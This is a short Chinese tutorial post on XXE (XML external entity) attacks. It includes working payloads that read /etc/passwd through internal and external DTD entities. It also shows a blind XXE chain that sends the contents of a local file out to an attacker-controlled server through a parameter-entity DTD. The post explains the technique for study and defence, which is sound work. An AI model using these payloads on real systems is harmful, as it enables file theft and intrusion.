zoukankan      html  css  js  c++  java
  • XML传输数据导致的安全问题

    利用XXE漏洞可以进行 拒绝服务攻击、文件读取、命令代码执行、SQL(XSS)注入、内外扫描端口和入侵内网站点等,内网探测和入侵是利用XXE中支持的协议进行内网主机和端口的发现

    一般XXE的利用分为两个场景:有回显 和 无回显。

    有回显的情况下可以直接在页面看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据

    有回显的情况下:

    ①内部实体:

    1、直接通过DTD外部实体声明

    <?xml version="1.0"?>
        <!DOCTYPE Quan[
        <!ENTITY f SYSTEM "file:///etc/passwd">
    ]>
    
    <hhh>&f;<hhh>
    

    ①外部实体引入:

    1、通过DTD文档引入外部DTD文档中的外部实体声明

    <?xml version="1.0"?>
        <!DOCTYPE Quan SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
    
    <hhh>&f;<hhh>
    

    外部evil.dtd中的内容:

    <!ENTITY f SYSTEM "file:///etc/passwd">

    2、通过DTD外部实体声明引入外部DTD文档中的外部实体声明

    <?xml version="1.0"?>
    <!DOCTYPE Quan[
    <!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
    ]>
    
    <hhh>&f;<hhh>
    

    Quan.dtd的内容

    <!ENTITY f SYSTEM "file:///etc/passwd">
    

    无回显:Blind XXE

    参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

    <?xml version="1.0"?>
    <!DOCTYPE Note[
    <!ENTITY % file SYSTEM "file:///C:/1.txt">
    <!ENTITY % remote SYSTEM "http://攻击者主机IP/Quan.xml">
    %remote;
    %all;
    ]>
    
    <root>&send;</root>
    
    

    Quan.xml内容

    <!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">
    
    

    %remote引入外部XML文件到这个 XML 中,%all检测到send实体,在 root 节点中引入 send 实体,便可实现数据转发。

    利用过程:第3行,存在漏洞的服务器会读出file的内容(c:/1.txt),通过Quan.xml带外通道发送给攻击者服务器上的1.php,1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。

  • 相关阅读:
    桌面图标有蓝底
    创建与删除SQL约束或字段约束
    (转)ASP.NET(C#) 读取EXCEL ——另加解决日期问题
    ASP连接11种数据库的语法
    GridView 合并列、行类
    Office对应ContentType
    (解决办法)ASP.NET导出Excel,打开时提示“您尝试打开文件'XXX.xls'的格式与文件扩展名指定文件不一致
    (转)js判断只能输入数字或小数点
    vscode设置字体大小
    springsecurity+jwt实现登录
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/11689235.html
Copyright © 2011-2022 走看看